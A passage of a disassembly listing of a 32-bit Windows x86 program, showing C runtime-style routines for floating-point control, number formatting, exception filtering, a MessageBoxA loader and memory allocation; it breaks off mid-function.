push eax push esi push 9 push dword_4DBE94 nop call near ptr 2720000h test eax, eax mov eax, dword_43D084 jnz short loc_4246F0 loc_424753: ; CODE XREF: sub_4246CB+5Cj cmp [ebp+arg_8], eax jb short loc_42475D cmp [esi+1], bl jnz short loc_4246F0 loc_42475D: ; CODE XREF: sub_4246CB+61j ; sub_4246CB+8Bj ... mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42476C: ; CODE XREF: sub_4246CB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBE94 nop call near ptr 2720000h test eax, eax jnz loc_42470A jmp short loc_42475D sub_4246CB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p ; sub_420DB0+7E7p cmp cl, 40h jnb short loc_4247BA cmp cl, 20h jnb short loc_4247B0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4247B0: ; CODE XREF: sub_4247A0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4247BA: ; CODE XREF: sub_4247A0+3j xor eax, eax xor edx, edx retn sub_4247A0 endp ; =============== S U B R O U T I N E ======================================= sub_4247BF proc near ; CODE XREF: sub_421826+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42480B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_4247DD test al, 80h jz short loc_42480B test al, 2 jnz short loc_42480B loc_4247DD: ; CODE XREF: sub_4247BF+14j cmp dword ptr [esi+8], 0 jnz short loc_4247EA push esi call sub_4241F7 pop ecx loc_4247EA: ; CODE XREF: sub_4247BF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_4247FA cmp dword ptr [esi+4], 0 jnz short loc_42480B inc eax mov [esi], eax loc_4247FA: ; CODE XREF: sub_4247BF+30j test byte ptr [esi+0Ch], 40h jz short loc_424811 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424817 inc eax mov [esi], eax loc_42480B: ; CODE XREF: sub_4247BF+9j ; sub_4247BF+18j ... or eax, 0FFFFFFFFh loc_42480E: ; CODE XREF: sub_4247BF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424811: ; CODE XREF: sub_4247BF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424817: ; CODE XREF: sub_4247BF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42480E sub_4247BF endp ; =============== S U B R O U T I N E ======================================= sub_42482D proc near ; CODE XREF: sub_421E16+52p xor eax, eax retn sub_42482D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424830 proc near ; CODE XREF: sub_424865+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42487B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42490D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424830 endp ; =============== S U B R O U T I N E ======================================= sub_424865 proc near ; CODE XREF: sub_422102+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424830 pop ecx pop ecx retn sub_424865 endp ; =============== S U B R O U T I N E ======================================= sub_42487B proc near ; CODE XREF: sub_424830+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42488C push 10h pop eax loc_42488C: ; CODE XREF: sub_42487B+Cj test bl, 4 jz short loc_424893 or al, 8 loc_424893: ; CODE XREF: sub_42487B+14j test bl, 8 jz short loc_42489A or al, 4 loc_42489A: ; CODE XREF: sub_42487B+1Bj test bl, 10h jz short loc_4248A1 or al, 2 loc_4248A1: ; CODE XREF: sub_42487B+22j test bl, 20h jz short loc_4248A8 or al, 1 loc_4248A8: ; CODE XREF: sub_42487B+29j test bl, 2 jz short loc_4248B2 or eax, 80000h loc_4248B2: ; CODE XREF: sub_42487B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4248EA cmp edx, 400h jz short loc_4248E7 cmp edx, 800h jz short loc_4248E3 cmp edx, esi jnz short loc_4248EA or eax, edi jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E3: ; CODE XREF: sub_42487B+5Ej or eax, ebp jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E7: ; CODE XREF: sub_42487B+56j or ah, 1 loc_4248EA: ; CODE XREF: sub_42487B+4Ej ; sub_42487B+62j ... and ecx, edi pop esi jz short loc_4248FA cmp ecx, ebp jnz short loc_4248FF or eax, 10000h jmp short loc_4248FF ; --------------------------------------------------------------------------- loc_4248FA: ; CODE XREF: sub_42487B+72j or eax, 20000h loc_4248FF: ; CODE XREF: sub_42487B+76j ; sub_42487B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42490C or eax, 40000h locret_42490C: ; CODE XREF: sub_42487B+8Aj retn sub_42487B endp ; =============== S U B R O U T I N E ======================================= sub_42490D proc near ; CODE XREF: sub_424830+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42491D push 1 pop eax loc_42491D: ; CODE XREF: sub_42490D+Bj test bl, 8 jz short loc_424924 or al, 4 loc_424924: ; CODE XREF: sub_42490D+13j test bl, 4 jz short loc_42492B or al, 8 loc_42492B: ; CODE XREF: sub_42490D+1Aj test bl, 2 jz short loc_424932 or al, 10h loc_424932: ; CODE XREF: sub_42490D+21j test bl, 1 jz short loc_424939 or al, 20h loc_424939: ; CODE XREF: sub_42490D+28j test ebx, 80000h jz short loc_424943 or al, 2 loc_424943: ; CODE XREF: sub_42490D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424970 cmp ecx, 100h jz short loc_42496D cmp ecx, esi jz short loc_424968 cmp ecx, edx jnz short loc_424970 or ah, 0Ch jmp short loc_424970 ; --------------------------------------------------------------------------- loc_424968: ; CODE XREF: sub_42490D+50j or ah, 8 jmp short loc_424970 ; --------------------------------------------------------------------------- loc_42496D: ; CODE XREF: sub_42490D+4Cj or ah, 4 loc_424970: ; CODE XREF: sub_42490D+44j ; sub_42490D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424986 cmp ecx, 10000h jnz short loc_424988 or eax, esi jmp short loc_424988 ; --------------------------------------------------------------------------- loc_424986: ; CODE XREF: sub_42490D+6Bj or eax, edx loc_424988: ; CODE XREF: sub_42490D+73j ; sub_42490D+77j pop esi test ebx, 40000h pop ebx jz short locret_424995 or ah, 10h locret_424995: ; CODE XREF: sub_42490D+83j retn sub_42490D endp ; =============== S U B R O U T I N E ======================================= sub_424996 proc near ; CODE XREF: sub_424A35+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4249DB inc esi cmp esi, 3 jge short loc_4249D6 lea eax, [eax+esi*4] loc_4249C8: ; CODE XREF: sub_424996+3Ej cmp dword ptr [eax], 0 jnz short loc_4249DB inc esi add eax, 4 cmp esi, 3 jl short loc_4249C8 loc_4249D6: ; CODE XREF: sub_424996+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4249DB: ; CODE XREF: sub_424996+27j ; sub_424996+35j xor eax, eax pop esi retn sub_424996 endp ; =============== S U B R O U T I N E ======================================= sub_4249DF proc near ; CODE XREF: sub_424A35+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi js short loc_424A31 lea edi, [ebx+esi*4] loc_424A18: ; CODE XREF: sub_4249DF+50j test eax, eax jz short loc_424A31 push edi push 1 push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424A18 loc_424A31: ; CODE XREF: sub_4249DF+34j ; sub_4249DF+3Bj pop edi pop esi pop ebx retn sub_4249DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A35 proc near ; CODE XREF: sub_424B90+81p ; sub_424B90+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424A99 inc ebx push ebx push [ebp+arg_0] call sub_424996 pop ecx test eax, eax pop ecx jnz short loc_424A96 push edi push [ebp+arg_0] call sub_4249DF pop ecx mov [ebp+var_4], eax pop ecx loc_424A96: ; CODE XREF: sub_424A35+51j mov eax, [ebp+arg_4] loc_424A99: ; CODE XREF: sub_424A35+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424AB9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424AB9: ; CODE XREF: sub_424A35+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424A35 endp ; =============== S U B R O U T I N E ======================================= sub_424AC1 proc near ; CODE XREF: sub_424B90+75p ; sub_424B90+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_424ACF: ; CODE XREF: sub_424AC1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_424ACF pop esi retn sub_424AC1 endp ; =============== S U B R O U T I N E ======================================= sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp ; sub_424B90+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_424ADC endp ; =============== S U B R O U T I N E ======================================= sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_424AEE: ; CODE XREF: sub_424AE8+12j cmp dword ptr [eax], 0 jnz short loc_424B00 inc ecx add eax, 4 cmp ecx, 3 jl short loc_424AEE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424B00: ; CODE XREF: sub_424AE8+9j xor eax, eax retn sub_424AE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B03 proc near ; CODE XREF: sub_424B90+C0p ; sub_424B90+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424B39: ; CODE XREF: sub_424B03+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424B39 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_424B6B: ; CODE XREF: sub_424B03+86j cmp ebx, edi jl short loc_424B7E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424B85 ; --------------------------------------------------------------------------- loc_424B7E: ; CODE XREF: sub_424B03+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424B85: ; CODE XREF: sub_424B03+79j dec ebx sub ecx, 4 jns short loc_424B6B pop edi pop esi pop ebx leave retn sub_424B03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp ; sub_424D12+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_424BFD lea eax, [ebp+var_C] xor esi, esi push eax call sub_424AE8 test eax, eax pop ecx jnz loc_424CBC lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx loc_424BF5: ; CODE XREF: sub_424B90+E4j push 2 loc_424BF7: ; CODE XREF: sub_424B90+110j pop eax jmp loc_424CBE ; --------------------------------------------------------------------------- loc_424BFD: ; CODE XREF: sub_424B90+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424AC1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 add esp, 10h test eax, eax jz short loc_424C1E inc ebx loc_424C1E: ; CODE XREF: sub_424B90+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424C36 lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx jmp short loc_424C72 ; --------------------------------------------------------------------------- loc_424C36: ; CODE XREF: sub_424B90+98j cmp ebx, eax jg short loc_424C79 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424AC1 lea eax, [ebp+var_C] push esi push eax call sub_424B03 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424B03 add esp, 20h loc_424C72: ; CODE XREF: sub_424B90+A4j xor esi, esi jmp loc_424BF5 ; --------------------------------------------------------------------------- loc_424C79: ; CODE XREF: sub_424B90+A8j cmp ebx, [edi] jl short loc_424CA5 lea eax, [ebp+var_C] push eax call sub_424ADC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424B03 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424BF7 ; --------------------------------------------------------------------------- loc_424CA5: ; CODE XREF: sub_424B90+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424B03 pop ecx pop ecx loc_424CBC: ; CODE XREF: sub_424B90+55j xor eax, eax loc_424CBE: ; CODE XREF: sub_424B90+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_424CED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424CF7 ; --------------------------------------------------------------------------- loc_424CED: ; CODE XREF: sub_424B90+14Ej cmp edi, 20h jnz short loc_424CF7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424CF7: ; CODE XREF: sub_424B90+15Bj ; sub_424B90+160j pop edi pop esi pop ebx leave retn sub_424B90 endp ; =============== S U B R O U T I N E ======================================= sub_424CFC proc near ; CODE XREF: sub_424D28+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D7F8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424CFC endp ; =============== S U B R O U T I N E ======================================= sub_424D12 proc near ; CODE XREF: sub_424D55+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D810 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424D12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D28 proc near ; CODE XREF: sub_42223B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424CFC add esp, 24h leave retn sub_424D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D12 add esp, 24h leave retn sub_424D55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D82 proc near ; CODE XREF: sub_422279+65p ; sub_42237D+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_424DBF mov [ebp+arg_0], ebx xor ebx, ebx loc_424DA5: ; CODE XREF: sub_424D82+38j mov dl, [ecx] test dl, dl jz short loc_424DB1 movsx edx, dl inc ecx jmp short loc_424DB4 ; --------------------------------------------------------------------------- loc_424DB1: ; CODE XREF: sub_424D82+27j push 30h pop edx loc_424DB4: ; CODE XREF: sub_424D82+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424DA5 mov edx, [ebp+arg_8] loc_424DBF: ; CODE XREF: sub_424D82+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424DD8 cmp byte ptr [ecx], 35h jl short loc_424DD8 loc_424DCB: ; CODE XREF: sub_424D82+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424DD6 mov byte ptr [eax], 30h jmp short loc_424DCB ; --------------------------------------------------------------------------- loc_424DD6: ; CODE XREF: sub_424D82+4Dj inc byte ptr [eax] loc_424DD8: ; CODE XREF: sub_424D82+42j ; sub_424D82+47j cmp byte ptr [esi], 31h jnz short loc_424DE2 inc dword ptr [edx+4] jmp short loc_424DF4 ; --------------------------------------------------------------------------- loc_424DE2: ; CODE XREF: sub_424D82+59j push edi call sub_41B9C0 inc eax push eax push edi push esi call sub_41D670 add esp, 10h loc_424DF4: ; CODE XREF: sub_424D82+5Ej pop edi pop esi pop ebx pop ebp retn sub_424D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp ; sub_42237D+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_424E5D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBFB8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425973 mov dword_4DBFE0, eax add esp, 18h movsx eax, byte_4DBFBA mov dword_4DBFD8, eax pop edi movsx eax, word_4DBFB8 mov dword_4DBFDC, eax mov dword_4DBFE4, offset dword_4DBFBC mov eax, offset dword_4DBFD8 pop esi leave retn sub_424DF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E5D proc near ; CODE XREF: sub_424DF9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_424EAB cmp ebx, edi jz short loc_424EA4 lea edi, [ecx+3C00h] jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EA4: ; CODE XREF: sub_424E5D+3Dj mov edi, 7FFFh jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E5D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424EC3 cmp edx, ebx jnz short loc_424EC3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_424F0E ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E5D+52j ; sub_424E5D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_424ECC: ; CODE XREF: sub_424E5D+45j ; sub_424E5D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424EE4: ; CODE XREF: sub_424E5D+A6j test ecx, esi jnz short loc_424F05 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424EE4 ; --------------------------------------------------------------------------- loc_424F05: ; CODE XREF: sub_424E5D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_424F0E: ; CODE XREF: sub_424E5D+64j pop edi pop esi pop ebx leave retn sub_424E5D endp ; --------------------------------------------------------------------------- push 2 call sub_41E2C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_424F1C proc near ; DATA XREF: ___:0043D438o ; ___:0043DB78o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_424F3F cmp dword ptr [eax+10h], 3 jnz short loc_424F3F cmp dword ptr [eax+14h], 19930520h jnz short loc_424F3F jmp sub_422DFC ; --------------------------------------------------------------------------- loc_424F3F: ; CODE XREF: sub_424F1C+Dj ; sub_424F1C+13j ... mov eax, dword_4DBFE8 test eax, eax jz short loc_424F5C push eax call sub_424FB8 test eax, eax pop ecx jz short loc_424F5C push esi call dword_4DBFE8 jmp short loc_424F5E ; --------------------------------------------------------------------------- loc_424F5C: ; CODE XREF: sub_424F1C+2Aj ; sub_424F1C+35j xor eax, eax loc_424F5E: ; CODE XREF: sub_424F1C+3Ej pop esi retn 4 sub_424F1C endp ; --------------------------------------------------------------------------- word_424F62 dw 1C68h ; DATA XREF: ___:00429024o dword_424F64 dd 0E800424Fh, 21DBEDCh, 0BFE8A390h, 0FFC3004Dh, 4DBFE835h ; DATA XREF: ___:0042903Co dd 0BECAE800h, 0C390021Dh ; =============== S U B R O U T I N E ======================================= sub_424F80 proc near ; CODE XREF: sub_422651+6Bp ; sub_422B62+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2600A29h test eax, eax jz short loc_424F98 xor esi, esi loc_424F98: ; CODE XREF: sub_424F80+14j mov eax, esi pop esi retn sub_424F80 endp ; =============== S U B R O U T I N E ======================================= sub_424F9C proc near ; CODE XREF: sub_422B62+73p ; sub_422B62+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2680000h test eax, eax jz short loc_424FB4 xor esi, esi loc_424FB4: ; CODE XREF: sub_424F9C+14j mov eax, esi pop esi retn sub_424F9C endp ; =============== S U B R O U T I N E ======================================= sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp ; sub_424F1C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 26009C1h nop test eax, eax jz short loc_424FCC xor esi, esi loc_424FCC: ; CODE XREF: sub_424FB8+10j mov eax, esi pop esi retn sub_424FB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422DFC loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj push 0Ah call sub_423DD1 push 16h call sub_425C06 pop ecx pop ecx push 3 call sub_41C1A2 ; END OF FUNCTION CHUNK FOR sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_424FE7 proc near ; CODE XREF: ___:004236A6p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424FF8 add esp, 0Ch retn sub_424FE7 endp ; =============== S U B R O U T I N E ======================================= sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DD261[eax], cl jnz short loc_425025 cmp [esp+arg_4], 0 jz short loc_42501E movzx eax, word_43CE82[eax*2] and eax, [esp+arg_4] jmp short loc_425020 ; --------------------------------------------------------------------------- loc_42501E: ; CODE XREF: sub_424FF8+16j xor eax, eax loc_425020: ; CODE XREF: sub_424FF8+24j test eax, eax jnz short loc_425025 retn ; --------------------------------------------------------------------------- loc_425025: ; CODE XREF: sub_424FF8+Fj ; sub_424FF8+2Aj push 1 pop eax retn sub_424FF8 endp ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBFEC, ebx push esi push edi jnz short loc_425078 push offset aUser32_dll ; "user32.dll" call near ptr 26E0000h nop mov edi, eax cmp edi, ebx jz short loc_4250AE mov esi, dword_4270C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DBFEC, eax jz short loc_4250AE push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBFF0, eax call esi mov dword_4DBFF4, eax loc_425078: ; CODE XREF: sub_425029+Bj mov eax, dword_4DBFF0 test eax, eax jz short loc_425097 call eax mov ebx, eax test ebx, ebx jz short loc_425097 mov eax, dword_4DBFF4 test eax, eax jz short loc_425097 push ebx call eax mov ebx, eax loc_425097: ; CODE XREF: sub_425029+56j ; sub_425029+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBFEC loc_4250AA: ; CODE XREF: sub_425029+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4250AE: ; CODE XREF: sub_425029+1Cj ; sub_425029+33j xor eax, eax jmp short loc_4250AA sub_425029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250B2 proc near ; CODE XREF: sub_42413E+22p ; sub_42413E+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_4250D3 test esi, esi jnz short loc_4250CD push 1 pop esi loc_4250CD: ; CODE XREF: sub_4250B2+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4250D3: ; CODE XREF: sub_4250B2+12j ; sub_4250B2+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425132 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_4250FE mov eax, [ebp+arg_0] cmp eax, dword_4DD380 ja short loc_42511D push eax call sub_41EA6B mov edi, eax pop ecx test edi, edi jnz short loc_425148 jmp short loc_42511D ; --------------------------------------------------------------------------- loc_4250FE: ; CODE XREF: sub_4250B2+30j cmp eax, 2 jnz short loc_42511D cmp esi, dword_43CE74 ja short loc_42511D mov eax, esi shr eax, 4 push eax call sub_41F50E mov edi, eax pop ecx test edi, edi jnz short loc_42515C loc_42511D: ; CODE XREF: sub_4250B2+3Bj ; 